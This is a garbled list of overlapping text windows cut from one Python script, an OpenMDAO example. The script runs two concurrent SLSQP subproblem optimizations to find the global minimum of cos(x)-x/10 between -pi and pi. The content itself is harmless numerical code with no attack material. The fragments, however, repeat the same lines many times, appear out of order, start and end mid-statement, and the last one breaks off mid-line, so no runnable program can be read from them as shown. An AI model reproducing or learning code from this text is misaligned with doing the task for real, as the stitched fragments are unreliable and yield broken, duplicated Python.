[ "= cos(x)-x/10.\")) self.connect(\"indep.x\", \"comp.x\") def main(num_par_doe): # First, define a Problem to be", "our function. sub = Problem(root=MultiMinGroup()) # set up our SLSQP optimizer sub.driver =", "top_indep.x values of # -1 and 1 will end up at the local", "but outside of the subproblem we're treating # it as a parameter. prob.root.add(\"subprob\",", "def __init__(self): super(MultiMinGroup, self).__init__() self.add('indep', IndepVarComp('x', 0.0)) self.add(\"comp\", ExecComp(\"fx = cos(x)-x/10.\")) self.connect(\"indep.x\", \"comp.x\")", "run 'num_par_doe' # concurrent cases. In this case we need no more than", "SubProblem, CaseDriver class MultiMinGroup(Group): \"\"\" In the range -pi <= x <= pi", "# run the concurrent optimizations prob.run() # collect responses for all of our", "math import pi from openmdao.api import Problem, Group, Component, IndepVarComp, ExecComp, \\ ScipyOptimizer,", "sub.driver = subdriver = ScipyOptimizer() subdriver.options['optimizer'] = 'SLSQP' subdriver.options['disp'] = False # disable", "class MultiMinGroup(Group): \"\"\" In the range -pi <= x <= pi function has", "up at the local and global minima when we run the # concurrent", "global_opt = main(2) print(\"\\nGlobal optimum:\\n subprob.comp.fx = %s at subprob.indep.x = %s\" %", "run the concurrent optimizations prob.run() # collect responses for all of our input", "our 'comp' component. subdriver.add_desvar(\"indep.x\", lower=-pi, upper=pi) # We are minimizing comp.fx, so that's", "function. sub = Problem(root=MultiMinGroup()) # set up our SLSQP optimizer sub.driver = subdriver", "global minima when we run the # concurrent subproblem optimizers. prob.driver.cases = [", "First, define a Problem to be able to optimize our function. sub =", "# -1 and 1 will end up at the local and global minima", "all of our input cases optvals = [dict(resp) for resp, success, msg in", "has 2 local minima, one is global global min is: f(x) = -1.31415926", "parameter on our 'comp' component. subdriver.add_desvar(\"indep.x\", lower=-pi, upper=pi) # We are minimizing comp.fx,", "IndepVarComp('x', 0.0)) self.add(\"comp\", ExecComp(\"fx = cos(x)-x/10.\")) self.connect(\"indep.x\", \"comp.x\") def main(num_par_doe): # First, define", "subdriver.options['optimizer'] = 'SLSQP' subdriver.options['disp'] = False # disable optimizer output # In this", "for all of our input cases optvals = [dict(resp) for resp, success, msg", "the subproblem we're treating # it as a parameter. prob.root.add(\"subprob\", SubProblem(sub, params=['indep.x'], unknowns=['comp.fx']))", "optimizations concurrently. We'll run 'num_par_doe' # concurrent cases. In this case we need", "subproblem, but outside of the subproblem we're treating # it as a parameter.", "running 2 total cases. prob.driver = CaseDriver(num_par_doe=num_par_doe) prob.driver.add_desvar('top_indep.x') prob.driver.add_response(['subprob.indep.x', 'subprob.comp.fx']) # these are", "# set up our SLSQP optimizer sub.driver = subdriver = ScipyOptimizer() subdriver.options['optimizer'] =", "one is global global min is: f(x) = -1.31415926 at x = pi", "and 1 will end up at the local and global minima when we", "= -0.69084489952 at x = -3.041593 \"\"\" def __init__(self): super(MultiMinGroup, self).__init__() self.add('indep', IndepVarComp('x',", "msg in prob.driver.get_responses()] # find the minimum value of subprob.comp.fx in our responses", "level problem prob = Problem(root=Group()) prob.root.add(\"top_indep\", IndepVarComp('x', 0.0)) # add our subproblem. Note", "cases. In this case we need no more than 2 because # we're", "Problem(root=Group()) prob.root.add(\"top_indep\", IndepVarComp('x', 0.0)) # add our subproblem. Note that 'indep.x' is actually", "our input cases optvals = [dict(resp) for resp, success, msg in prob.driver.get_responses()] #", "so that's our objective. subdriver.add_objective(\"comp.fx\") # Now, create our top level problem prob", "# these are the two cases we're going to run. The top_indep.x values", "as a parameter. prob.root.add(\"subprob\", SubProblem(sub, params=['indep.x'], unknowns=['comp.fx'])) prob.root.connect(\"top_indep.x\", \"subprob.indep.x\") # use a CaseDriver", "# concurrent subproblem optimizers. prob.driver.cases = [ [('top_indep.x', -1.0)], [('top_indep.x', 1.0)] ] prob.setup(check=False)", "are minimizing comp.fx, so that's our objective. subdriver.add_objective(\"comp.fx\") # Now, create our top", "0.0)) # add our subproblem. Note that 'indep.x' is actually an unknown #", "optimizer output # In this case, our design variable is indep.x, which happens", "upper=pi) # We are minimizing comp.fx, so that's our objective. subdriver.add_objective(\"comp.fx\") # Now,", "Now, create our top level problem prob = Problem(root=Group()) prob.root.add(\"top_indep\", IndepVarComp('x', 0.0)) #", "We are minimizing comp.fx, so that's our objective. subdriver.add_objective(\"comp.fx\") # Now, create our", "optimizer sub.driver = subdriver = ScipyOptimizer() subdriver.options['optimizer'] = 'SLSQP' subdriver.options['disp'] = False #", "our top level problem prob = Problem(root=Group()) prob.root.add(\"top_indep\", IndepVarComp('x', 0.0)) # add our", "-1.0)], [('top_indep.x', 1.0)] ] prob.setup(check=False) # run the concurrent optimizations prob.run() # collect", "= -1.31415926 at x = pi local min at: f(x) = -0.69084489952 at", "2 local minima, one is global global min is: f(x) = -1.31415926 at", "success, msg in prob.driver.get_responses()] # find the minimum value of subprob.comp.fx in our", "cos(x)-x/10.\")) self.connect(\"indep.x\", \"comp.x\") def main(num_par_doe): # First, define a Problem to be able", "in prob.driver.get_responses()] # find the minimum value of subprob.comp.fx in our responses global_opt", "x parameter on our 'comp' component. subdriver.add_desvar(\"indep.x\", lower=-pi, upper=pi) # We are minimizing", "a parameter. prob.root.add(\"subprob\", SubProblem(sub, params=['indep.x'], unknowns=['comp.fx'])) prob.root.connect(\"top_indep.x\", \"subprob.indep.x\") # use a CaseDriver as", "minimizing comp.fx, so that's our objective. subdriver.add_objective(\"comp.fx\") # Now, create our top level", "unknowns=['comp.fx'])) prob.root.connect(\"top_indep.x\", \"subprob.indep.x\") # use a CaseDriver as our top level driver so", "self.add(\"comp\", ExecComp(\"fx = cos(x)-x/10.\")) self.connect(\"indep.x\", \"comp.x\") def main(num_par_doe): # First, define a Problem", "# find the minimum value of subprob.comp.fx in our responses global_opt = sorted(optvals,", "this case, our design variable is indep.x, which happens # to be connected", "more than 2 because # we're only running 2 total cases. prob.driver =", "self.connect(\"indep.x\", \"comp.x\") def main(num_par_doe): # First, define a Problem to be able to", "prob.driver.get_responses()] # find the minimum value of subprob.comp.fx in our responses global_opt =", "find the minimum value of subprob.comp.fx in our responses global_opt = sorted(optvals, key=lambda", "x = pi local min at: f(x) = -0.69084489952 at x = -3.041593", "min is: f(x) = -1.31415926 at x = pi local min at: f(x)", "-0.69084489952 at x = -3.041593 \"\"\" def __init__(self): super(MultiMinGroup, self).__init__() self.add('indep', IndepVarComp('x', 0.0))", "of our input cases optvals = [dict(resp) for resp, success, msg in prob.driver.get_responses()]", "\"\"\" def __init__(self): super(MultiMinGroup, self).__init__() self.add('indep', IndepVarComp('x', 0.0)) self.add(\"comp\", ExecComp(\"fx = cos(x)-x/10.\")) self.connect(\"indep.x\",", "multiple # separate optimizations concurrently. We'll run 'num_par_doe' # concurrent cases. In this", "case, our design variable is indep.x, which happens # to be connected to", "resp, success, msg in prob.driver.get_responses()] # find the minimum value of subprob.comp.fx in", "concurrently. We'll run 'num_par_doe' # concurrent cases. In this case we need no", "prob.driver.add_response(['subprob.indep.x', 'subprob.comp.fx']) # these are the two cases we're going to run. The", "at the local and global minima when we run the # concurrent subproblem", "# use a CaseDriver as our top level driver so we can run", "the x parameter on our 'comp' component. subdriver.add_desvar(\"indep.x\", lower=-pi, upper=pi) # We are", "= -3.041593 \"\"\" def __init__(self): super(MultiMinGroup, self).__init__() self.add('indep', IndepVarComp('x', 0.0)) self.add(\"comp\", ExecComp(\"fx =", "at: f(x) = -0.69084489952 at x = -3.041593 \"\"\" def __init__(self): super(MultiMinGroup, self).__init__()", "x['subprob.comp.fx'])[0] return global_opt if __name__ == '__main__': global_opt = main(2) print(\"\\nGlobal optimum:\\n subprob.comp.fx", "'__main__': global_opt = main(2) print(\"\\nGlobal optimum:\\n subprob.comp.fx = %s at subprob.indep.x = %s\"", "2 total cases. prob.driver = CaseDriver(num_par_doe=num_par_doe) prob.driver.add_desvar('top_indep.x') prob.driver.add_response(['subprob.indep.x', 'subprob.comp.fx']) # these are the", "Problem(root=MultiMinGroup()) # set up our SLSQP optimizer sub.driver = subdriver = ScipyOptimizer() subdriver.options['optimizer']", "f(x) = -0.69084489952 at x = -3.041593 \"\"\" def __init__(self): super(MultiMinGroup, self).__init__() self.add('indep',", "our responses global_opt = sorted(optvals, key=lambda x: x['subprob.comp.fx'])[0] return global_opt if __name__ ==", "we need no more than 2 because # we're only running 2 total", "our top level driver so we can run multiple # separate optimizations concurrently.", "if __name__ == '__main__': global_opt = main(2) print(\"\\nGlobal optimum:\\n subprob.comp.fx = %s at", "this case we need no more than 2 because # we're only running", "\"comp.x\") def main(num_par_doe): # First, define a Problem to be able to optimize", "minimum value of subprob.comp.fx in our responses global_opt = sorted(optvals, key=lambda x: x['subprob.comp.fx'])[0]", "the local and global minima when we run the # concurrent subproblem optimizers.", "our objective. subdriver.add_objective(\"comp.fx\") # Now, create our top level problem prob = Problem(root=Group())", "Component, IndepVarComp, ExecComp, \\ ScipyOptimizer, SubProblem, CaseDriver class MultiMinGroup(Group): \"\"\" In the range", "= [ [('top_indep.x', -1.0)], [('top_indep.x', 1.0)] ] prob.setup(check=False) # run the concurrent optimizations", "-1 and 1 will end up at the local and global minima when", "a Problem to be able to optimize our function. sub = Problem(root=MultiMinGroup()) #", "value of subprob.comp.fx in our responses global_opt = sorted(optvals, key=lambda x: x['subprob.comp.fx'])[0] return", "top level driver so we can run multiple # separate optimizations concurrently. We'll", "be able to optimize our function. sub = Problem(root=MultiMinGroup()) # set up our", "# In this case, our design variable is indep.x, which happens # to", "= main(2) print(\"\\nGlobal optimum:\\n subprob.comp.fx = %s at subprob.indep.x = %s\" % (global_opt['subprob.comp.fx'],", "concurrent subproblem optimizers. prob.driver.cases = [ [('top_indep.x', -1.0)], [('top_indep.x', 1.0)] ] prob.setup(check=False) #", "x = -3.041593 \"\"\" def __init__(self): super(MultiMinGroup, self).__init__() self.add('indep', IndepVarComp('x', 0.0)) self.add(\"comp\", ExecComp(\"fx", "CaseDriver as our top level driver so we can run multiple # separate", "min at: f(x) = -0.69084489952 at x = -3.041593 \"\"\" def __init__(self): super(MultiMinGroup,", "in our responses global_opt = sorted(optvals, key=lambda x: x['subprob.comp.fx'])[0] return global_opt if __name__", "we're only running 2 total cases. prob.driver = CaseDriver(num_par_doe=num_par_doe) prob.driver.add_desvar('top_indep.x') prob.driver.add_response(['subprob.indep.x', 'subprob.comp.fx']) #", "set up our SLSQP optimizer sub.driver = subdriver = ScipyOptimizer() subdriver.options['optimizer'] = 'SLSQP'", "lower=-pi, upper=pi) # We are minimizing comp.fx, so that's our objective. subdriver.add_objective(\"comp.fx\") #", "'subprob.comp.fx']) # these are the two cases we're going to run. The top_indep.x", "comp.fx, so that's our objective. subdriver.add_objective(\"comp.fx\") # Now, create our top level problem", "params=['indep.x'], unknowns=['comp.fx'])) prob.root.connect(\"top_indep.x\", \"subprob.indep.x\") # use a CaseDriver as our top level driver", "'indep.x' is actually an unknown # inside of the subproblem, but outside of", "pi function has 2 local minima, one is global global min is: f(x)", "unknown # inside of the subproblem, but outside of the subproblem we're treating", "will end up at the local and global minima when we run the", "that 'indep.x' is actually an unknown # inside of the subproblem, but outside", "a CaseDriver as our top level driver so we can run multiple #", "run the # concurrent subproblem optimizers. prob.driver.cases = [ [('top_indep.x', -1.0)], [('top_indep.x', 1.0)]", "on our 'comp' component. subdriver.add_desvar(\"indep.x\", lower=-pi, upper=pi) # We are minimizing comp.fx, so", "ExecComp, \\ ScipyOptimizer, SubProblem, CaseDriver class MultiMinGroup(Group): \"\"\" In the range -pi <=", "[('top_indep.x', 1.0)] ] prob.setup(check=False) # run the concurrent optimizations prob.run() # collect responses", "False # disable optimizer output # In this case, our design variable is", "at x = pi local min at: f(x) = -0.69084489952 at x =", "is indep.x, which happens # to be connected to the x parameter on", "import pi from openmdao.api import Problem, Group, Component, IndepVarComp, ExecComp, \\ ScipyOptimizer, SubProblem,", "an unknown # inside of the subproblem, but outside of the subproblem we're", "CaseDriver(num_par_doe=num_par_doe) prob.driver.add_desvar('top_indep.x') prob.driver.add_response(['subprob.indep.x', 'subprob.comp.fx']) # these are the two cases we're going to", "f(x) = -1.31415926 at x = pi local min at: f(x) = -0.69084489952", "subdriver.add_desvar(\"indep.x\", lower=-pi, upper=pi) # We are minimizing comp.fx, so that's our objective. subdriver.add_objective(\"comp.fx\")", "-1.31415926 at x = pi local min at: f(x) = -0.69084489952 at x", "pi local min at: f(x) = -0.69084489952 at x = -3.041593 \"\"\" def", "\"\"\" In the range -pi <= x <= pi function has 2 local", "the # concurrent subproblem optimizers. prob.driver.cases = [ [('top_indep.x', -1.0)], [('top_indep.x', 1.0)] ]", "top level problem prob = Problem(root=Group()) prob.root.add(\"top_indep\", IndepVarComp('x', 0.0)) # add our subproblem.", "run. The top_indep.x values of # -1 and 1 will end up at", "range -pi <= x <= pi function has 2 local minima, one is", "super(MultiMinGroup, self).__init__() self.add('indep', IndepVarComp('x', 0.0)) self.add(\"comp\", ExecComp(\"fx = cos(x)-x/10.\")) self.connect(\"indep.x\", \"comp.x\") def main(num_par_doe):", "SubProblem(sub, params=['indep.x'], unknowns=['comp.fx'])) prob.root.connect(\"top_indep.x\", \"subprob.indep.x\") # use a CaseDriver as our top level", "__init__(self): super(MultiMinGroup, self).__init__() self.add('indep', IndepVarComp('x', 0.0)) self.add(\"comp\", ExecComp(\"fx = cos(x)-x/10.\")) self.connect(\"indep.x\", \"comp.x\") def", "# it as a parameter. prob.root.add(\"subprob\", SubProblem(sub, params=['indep.x'], unknowns=['comp.fx'])) prob.root.connect(\"top_indep.x\", \"subprob.indep.x\") # use", "of the subproblem, but outside of the subproblem we're treating # it as", "we run the # concurrent subproblem optimizers. prob.driver.cases = [ [('top_indep.x', -1.0)], [('top_indep.x',", "inside of the subproblem, but outside of the subproblem we're treating # it", "no more than 2 because # we're only running 2 total cases. prob.driver", "def main(num_par_doe): # First, define a Problem to be able to optimize our", "our design variable is indep.x, which happens # to be connected to the", "actually an unknown # inside of the subproblem, but outside of the subproblem", "input cases optvals = [dict(resp) for resp, success, msg in prob.driver.get_responses()] # find", "when we run the # concurrent subproblem optimizers. prob.driver.cases = [ [('top_indep.x', -1.0)],", "is actually an unknown # inside of the subproblem, but outside of the", "'comp' component. subdriver.add_desvar(\"indep.x\", lower=-pi, upper=pi) # We are minimizing comp.fx, so that's our", "optvals = [dict(resp) for resp, success, msg in prob.driver.get_responses()] # find the minimum", "x: x['subprob.comp.fx'])[0] return global_opt if __name__ == '__main__': global_opt = main(2) print(\"\\nGlobal optimum:\\n", "SLSQP optimizer sub.driver = subdriver = ScipyOptimizer() subdriver.options['optimizer'] = 'SLSQP' subdriver.options['disp'] = False", "import sys from math import pi from openmdao.api import Problem, Group, Component, IndepVarComp,", "to the x parameter on our 'comp' component. subdriver.add_desvar(\"indep.x\", lower=-pi, upper=pi) # We", "subproblem. Note that 'indep.x' is actually an unknown # inside of the subproblem,", "able to optimize our function. sub = Problem(root=MultiMinGroup()) # set up our SLSQP", "collect responses for all of our input cases optvals = [dict(resp) for resp,", "add our subproblem. Note that 'indep.x' is actually an unknown # inside of", "create our top level problem prob = Problem(root=Group()) prob.root.add(\"top_indep\", IndepVarComp('x', 0.0)) # add", "two cases we're going to run. The top_indep.x values of # -1 and", "sub = Problem(root=MultiMinGroup()) # set up our SLSQP optimizer sub.driver = subdriver =", "[('top_indep.x', -1.0)], [('top_indep.x', 1.0)] ] prob.setup(check=False) # run the concurrent optimizations prob.run() #", "problem prob = Problem(root=Group()) prob.root.add(\"top_indep\", IndepVarComp('x', 0.0)) # add our subproblem. Note that", "values of # -1 and 1 will end up at the local and", "the two cases we're going to run. The top_indep.x values of # -1", "total cases. prob.driver = CaseDriver(num_par_doe=num_par_doe) prob.driver.add_desvar('top_indep.x') prob.driver.add_response(['subprob.indep.x', 'subprob.comp.fx']) # these are the two", "In this case, our design variable is indep.x, which happens # to be", "separate optimizations concurrently. We'll run 'num_par_doe' # concurrent cases. In this case we", "we can run multiple # separate optimizations concurrently. We'll run 'num_par_doe' # concurrent", "CaseDriver class MultiMinGroup(Group): \"\"\" In the range -pi <= x <= pi function", "\\ ScipyOptimizer, SubProblem, CaseDriver class MultiMinGroup(Group): \"\"\" In the range -pi <= x", "concurrent optimizations prob.run() # collect responses for all of our input cases optvals", "the subproblem, but outside of the subproblem we're treating # it as a", "happens # to be connected to the x parameter on our 'comp' component.", "# we're only running 2 total cases. prob.driver = CaseDriver(num_par_doe=num_par_doe) prob.driver.add_desvar('top_indep.x') prob.driver.add_response(['subprob.indep.x', 'subprob.comp.fx'])", "because # we're only running 2 total cases. prob.driver = CaseDriver(num_par_doe=num_par_doe) prob.driver.add_desvar('top_indep.x') prob.driver.add_response(['subprob.indep.x',", "'SLSQP' subdriver.options['disp'] = False # disable optimizer output # In this case, our", "as our top level driver so we can run multiple # separate optimizations", "only running 2 total cases. prob.driver = CaseDriver(num_par_doe=num_par_doe) prob.driver.add_desvar('top_indep.x') prob.driver.add_response(['subprob.indep.x', 'subprob.comp.fx']) # these", "prob.driver = CaseDriver(num_par_doe=num_par_doe) prob.driver.add_desvar('top_indep.x') prob.driver.add_response(['subprob.indep.x', 'subprob.comp.fx']) # these are the two cases we're", "We'll run 'num_par_doe' # concurrent cases. In this case we need no more", "component. subdriver.add_desvar(\"indep.x\", lower=-pi, upper=pi) # We are minimizing comp.fx, so that's our objective.", "minima, one is global global min is: f(x) = -1.31415926 at x =", "self.add('indep', IndepVarComp('x', 0.0)) self.add(\"comp\", ExecComp(\"fx = cos(x)-x/10.\")) self.connect(\"indep.x\", \"comp.x\") def main(num_par_doe): # First,", "main(2) print(\"\\nGlobal optimum:\\n subprob.comp.fx = %s at subprob.indep.x = %s\" % (global_opt['subprob.comp.fx'], global_opt['subprob.indep.x']))", "subdriver.options['disp'] = False # disable optimizer output # In this case, our design", "pi from openmdao.api import Problem, Group, Component, IndepVarComp, ExecComp, \\ ScipyOptimizer, SubProblem, CaseDriver", "<= x <= pi function has 2 local minima, one is global global", "prob.root.connect(\"top_indep.x\", \"subprob.indep.x\") # use a CaseDriver as our top level driver so we", "optimizers. prob.driver.cases = [ [('top_indep.x', -1.0)], [('top_indep.x', 1.0)] ] prob.setup(check=False) # run the", "the range -pi <= x <= pi function has 2 local minima, one", "2 because # we're only running 2 total cases. prob.driver = CaseDriver(num_par_doe=num_par_doe) prob.driver.add_desvar('top_indep.x')", "cases we're going to run. The top_indep.x values of # -1 and 1", "concurrent cases. In this case we need no more than 2 because #", "= CaseDriver(num_par_doe=num_par_doe) prob.driver.add_desvar('top_indep.x') prob.driver.add_response(['subprob.indep.x', 'subprob.comp.fx']) # these are the two cases we're going", "define a Problem to be able to optimize our function. sub = Problem(root=MultiMinGroup())", "for resp, success, msg in prob.driver.get_responses()] # find the minimum value of subprob.comp.fx", "subprob.comp.fx in our responses global_opt = sorted(optvals, key=lambda x: x['subprob.comp.fx'])[0] return global_opt if", "to optimize our function. sub = Problem(root=MultiMinGroup()) # set up our SLSQP optimizer", "'num_par_doe' # concurrent cases. In this case we need no more than 2", "of # -1 and 1 will end up at the local and global", "responses global_opt = sorted(optvals, key=lambda x: x['subprob.comp.fx'])[0] return global_opt if __name__ == '__main__':", "driver so we can run multiple # separate optimizations concurrently. We'll run 'num_par_doe'", "key=lambda x: x['subprob.comp.fx'])[0] return global_opt if __name__ == '__main__': global_opt = main(2) print(\"\\nGlobal", "function has 2 local minima, one is global global min is: f(x) =", "use a CaseDriver as our top level driver so we can run multiple", "prob.root.add(\"subprob\", SubProblem(sub, params=['indep.x'], unknowns=['comp.fx'])) prob.root.connect(\"top_indep.x\", \"subprob.indep.x\") # use a CaseDriver as our top", "from openmdao.api import Problem, Group, Component, IndepVarComp, ExecComp, \\ ScipyOptimizer, SubProblem, CaseDriver class", "In the range -pi <= x <= pi function has 2 local minima,", "# inside of the subproblem, but outside of the subproblem we're treating #", "= Problem(root=Group()) prob.root.add(\"top_indep\", IndepVarComp('x', 0.0)) # add our subproblem. Note that 'indep.x' is", "prob.driver.cases = [ [('top_indep.x', -1.0)], [('top_indep.x', 1.0)] ] prob.setup(check=False) # run the concurrent", "# First, define a Problem to be able to optimize our function. sub", "prob.setup(check=False) # run the concurrent optimizations prob.run() # collect responses for all of", "than 2 because # we're only running 2 total cases. prob.driver = CaseDriver(num_par_doe=num_par_doe)", "our subproblem. Note that 'indep.x' is actually an unknown # inside of the", "== '__main__': global_opt = main(2) print(\"\\nGlobal optimum:\\n subprob.comp.fx = %s at subprob.indep.x =", "can run multiple # separate optimizations concurrently. We'll run 'num_par_doe' # concurrent cases.", "global_opt if __name__ == '__main__': global_opt = main(2) print(\"\\nGlobal optimum:\\n subprob.comp.fx = %s", "going to run. The top_indep.x values of # -1 and 1 will end", "= ScipyOptimizer() subdriver.options['optimizer'] = 'SLSQP' subdriver.options['disp'] = False # disable optimizer output #", "parameter. prob.root.add(\"subprob\", SubProblem(sub, params=['indep.x'], unknowns=['comp.fx'])) prob.root.connect(\"top_indep.x\", \"subprob.indep.x\") # use a CaseDriver as our", "= 'SLSQP' subdriver.options['disp'] = False # disable optimizer output # In this case,", "= pi local min at: f(x) = -0.69084489952 at x = -3.041593 \"\"\"", "MultiMinGroup(Group): \"\"\" In the range -pi <= x <= pi function has 2", "prob = Problem(root=Group()) prob.root.add(\"top_indep\", IndepVarComp('x', 0.0)) # add our subproblem. Note that 'indep.x'", "of the subproblem we're treating # it as a parameter. prob.root.add(\"subprob\", SubProblem(sub, params=['indep.x'],", "self).__init__() self.add('indep', IndepVarComp('x', 0.0)) self.add(\"comp\", ExecComp(\"fx = cos(x)-x/10.\")) self.connect(\"indep.x\", \"comp.x\") def main(num_par_doe): #", "global global min is: f(x) = -1.31415926 at x = pi local min", "-3.041593 \"\"\" def __init__(self): super(MultiMinGroup, self).__init__() self.add('indep', IndepVarComp('x', 0.0)) self.add(\"comp\", ExecComp(\"fx = cos(x)-x/10.\"))", "ScipyOptimizer, SubProblem, CaseDriver class MultiMinGroup(Group): \"\"\" In the range -pi <= x <=", "= sorted(optvals, key=lambda x: x['subprob.comp.fx'])[0] return global_opt if __name__ == '__main__': global_opt =", "sorted(optvals, key=lambda x: x['subprob.comp.fx'])[0] return global_opt if __name__ == '__main__': global_opt = main(2)", "# collect responses for all of our input cases optvals = [dict(resp) for", "at x = -3.041593 \"\"\" def __init__(self): super(MultiMinGroup, self).__init__() self.add('indep', IndepVarComp('x', 0.0)) self.add(\"comp\",", "# concurrent cases. In this case we need no more than 2 because", "\"subprob.indep.x\") # use a CaseDriver as our top level driver so we can", "cases optvals = [dict(resp) for resp, success, msg in prob.driver.get_responses()] # find the", "disable optimizer output # In this case, our design variable is indep.x, which", "= False # disable optimizer output # In this case, our design variable", "so we can run multiple # separate optimizations concurrently. We'll run 'num_par_doe' #", "be connected to the x parameter on our 'comp' component. subdriver.add_desvar(\"indep.x\", lower=-pi, upper=pi)", "-pi <= x <= pi function has 2 local minima, one is global", "0.0)) self.add(\"comp\", ExecComp(\"fx = cos(x)-x/10.\")) self.connect(\"indep.x\", \"comp.x\") def main(num_par_doe): # First, define a", "to run. The top_indep.x values of # -1 and 1 will end up", "1.0)] ] prob.setup(check=False) # run the concurrent optimizations prob.run() # collect responses for", "# Now, create our top level problem prob = Problem(root=Group()) prob.root.add(\"top_indep\", IndepVarComp('x', 0.0))", "are the two cases we're going to run. The top_indep.x values of #", "is global global min is: f(x) = -1.31415926 at x = pi local", "these are the two cases we're going to run. The top_indep.x values of", "that's our objective. subdriver.add_objective(\"comp.fx\") # Now, create our top level problem prob =", "Note that 'indep.x' is actually an unknown # inside of the subproblem, but", "Group, Component, IndepVarComp, ExecComp, \\ ScipyOptimizer, SubProblem, CaseDriver class MultiMinGroup(Group): \"\"\" In the", "x <= pi function has 2 local minima, one is global global min", "treating # it as a parameter. prob.root.add(\"subprob\", SubProblem(sub, params=['indep.x'], unknowns=['comp.fx'])) prob.root.connect(\"top_indep.x\", \"subprob.indep.x\") #", "objective. subdriver.add_objective(\"comp.fx\") # Now, create our top level problem prob = Problem(root=Group()) prob.root.add(\"top_indep\",", "connected to the x parameter on our 'comp' component. subdriver.add_desvar(\"indep.x\", lower=-pi, upper=pi) #", "and global minima when we run the # concurrent subproblem optimizers. prob.driver.cases =", "indep.x, which happens # to be connected to the x parameter on our", "outside of the subproblem we're treating # it as a parameter. prob.root.add(\"subprob\", SubProblem(sub,", "subdriver.add_objective(\"comp.fx\") # Now, create our top level problem prob = Problem(root=Group()) prob.root.add(\"top_indep\", IndepVarComp('x',", "IndepVarComp('x', 0.0)) # add our subproblem. Note that 'indep.x' is actually an unknown", "local and global minima when we run the # concurrent subproblem optimizers. prob.driver.cases", "Problem to be able to optimize our function. sub = Problem(root=MultiMinGroup()) # set", "ExecComp(\"fx = cos(x)-x/10.\")) self.connect(\"indep.x\", \"comp.x\") def main(num_par_doe): # First, define a Problem to", "# add our subproblem. Note that 'indep.x' is actually an unknown # inside", "The top_indep.x values of # -1 and 1 will end up at the", "main(num_par_doe): # First, define a Problem to be able to optimize our function.", "<= pi function has 2 local minima, one is global global min is:", "prob.run() # collect responses for all of our input cases optvals = [dict(resp)", "we're going to run. The top_indep.x values of # -1 and 1 will", "# disable optimizer output # In this case, our design variable is indep.x,", "minima when we run the # concurrent subproblem optimizers. prob.driver.cases = [ [('top_indep.x',", "which happens # to be connected to the x parameter on our 'comp'", "1 will end up at the local and global minima when we run", "cases. prob.driver = CaseDriver(num_par_doe=num_par_doe) prob.driver.add_desvar('top_indep.x') prob.driver.add_response(['subprob.indep.x', 'subprob.comp.fx']) # these are the two cases", "case we need no more than 2 because # we're only running 2", "from math import pi from openmdao.api import Problem, Group, Component, IndepVarComp, ExecComp, \\", "local min at: f(x) = -0.69084489952 at x = -3.041593 \"\"\" def __init__(self):", "design variable is indep.x, which happens # to be connected to the x", "variable is indep.x, which happens # to be connected to the x parameter", "we're treating # it as a parameter. prob.root.add(\"subprob\", SubProblem(sub, params=['indep.x'], unknowns=['comp.fx'])) prob.root.connect(\"top_indep.x\", \"subprob.indep.x\")", "In this case we need no more than 2 because # we're only", "the concurrent optimizations prob.run() # collect responses for all of our input cases", "= Problem(root=MultiMinGroup()) # set up our SLSQP optimizer sub.driver = subdriver = ScipyOptimizer()", "# We are minimizing comp.fx, so that's our objective. subdriver.add_objective(\"comp.fx\") # Now, create", "import Problem, Group, Component, IndepVarComp, ExecComp, \\ ScipyOptimizer, SubProblem, CaseDriver class MultiMinGroup(Group): \"\"\"", "subdriver = ScipyOptimizer() subdriver.options['optimizer'] = 'SLSQP' subdriver.options['disp'] = False # disable optimizer output", "__name__ == '__main__': global_opt = main(2) print(\"\\nGlobal optimum:\\n subprob.comp.fx = %s at subprob.indep.x", "prob.root.add(\"top_indep\", IndepVarComp('x', 0.0)) # add our subproblem. Note that 'indep.x' is actually an", "output # In this case, our design variable is indep.x, which happens #", "subproblem we're treating # it as a parameter. prob.root.add(\"subprob\", SubProblem(sub, params=['indep.x'], unknowns=['comp.fx'])) prob.root.connect(\"top_indep.x\",", "[dict(resp) for resp, success, msg in prob.driver.get_responses()] # find the minimum value of", "up our SLSQP optimizer sub.driver = subdriver = ScipyOptimizer() subdriver.options['optimizer'] = 'SLSQP' subdriver.options['disp']", "global min is: f(x) = -1.31415926 at x = pi local min at:", "optimizations prob.run() # collect responses for all of our input cases optvals =", "subproblem optimizers. prob.driver.cases = [ [('top_indep.x', -1.0)], [('top_indep.x', 1.0)] ] prob.setup(check=False) # run", "it as a parameter. prob.root.add(\"subprob\", SubProblem(sub, params=['indep.x'], unknowns=['comp.fx'])) prob.root.connect(\"top_indep.x\", \"subprob.indep.x\") # use a", "responses for all of our input cases optvals = [dict(resp) for resp, success,", "of subprob.comp.fx in our responses global_opt = sorted(optvals, key=lambda x: x['subprob.comp.fx'])[0] return global_opt", "our SLSQP optimizer sub.driver = subdriver = ScipyOptimizer() subdriver.options['optimizer'] = 'SLSQP' subdriver.options['disp'] =", "optimize our function. sub = Problem(root=MultiMinGroup()) # set up our SLSQP optimizer sub.driver", "[ [('top_indep.x', -1.0)], [('top_indep.x', 1.0)] ] prob.setup(check=False) # run the concurrent optimizations prob.run()", "level driver so we can run multiple # separate optimizations concurrently. We'll run", "= [dict(resp) for resp, success, msg in prob.driver.get_responses()] # find the minimum value", "to be connected to the x parameter on our 'comp' component. subdriver.add_desvar(\"indep.x\", lower=-pi,", "run multiple # separate optimizations concurrently. We'll run 'num_par_doe' # concurrent cases. In", "Problem, Group, Component, IndepVarComp, ExecComp, \\ ScipyOptimizer, SubProblem, CaseDriver class MultiMinGroup(Group): \"\"\" In", "openmdao.api import Problem, Group, Component, IndepVarComp, ExecComp, \\ ScipyOptimizer, SubProblem, CaseDriver class MultiMinGroup(Group):", "is: f(x) = -1.31415926 at x = pi local min at: f(x) =", "prob.driver.add_desvar('top_indep.x') prob.driver.add_response(['subprob.indep.x', 'subprob.comp.fx']) # these are the two cases we're going to run.", "global_opt = sorted(optvals, key=lambda x: x['subprob.comp.fx'])[0] return global_opt if __name__ == '__main__': global_opt", "# separate optimizations concurrently. We'll run 'num_par_doe' # concurrent cases. In this case", "to be able to optimize our function. sub = Problem(root=MultiMinGroup()) # set up", "need no more than 2 because # we're only running 2 total cases.", "# to be connected to the x parameter on our 'comp' component. subdriver.add_desvar(\"indep.x\",", "local minima, one is global global min is: f(x) = -1.31415926 at x", "end up at the local and global minima when we run the #", "ScipyOptimizer() subdriver.options['optimizer'] = 'SLSQP' subdriver.options['disp'] = False # disable optimizer output # In", "= subdriver = ScipyOptimizer() subdriver.options['optimizer'] = 'SLSQP' subdriver.options['disp'] = False # disable optimizer", "the minimum value of subprob.comp.fx in our responses global_opt = sorted(optvals, key=lambda x:", "] prob.setup(check=False) # run the concurrent 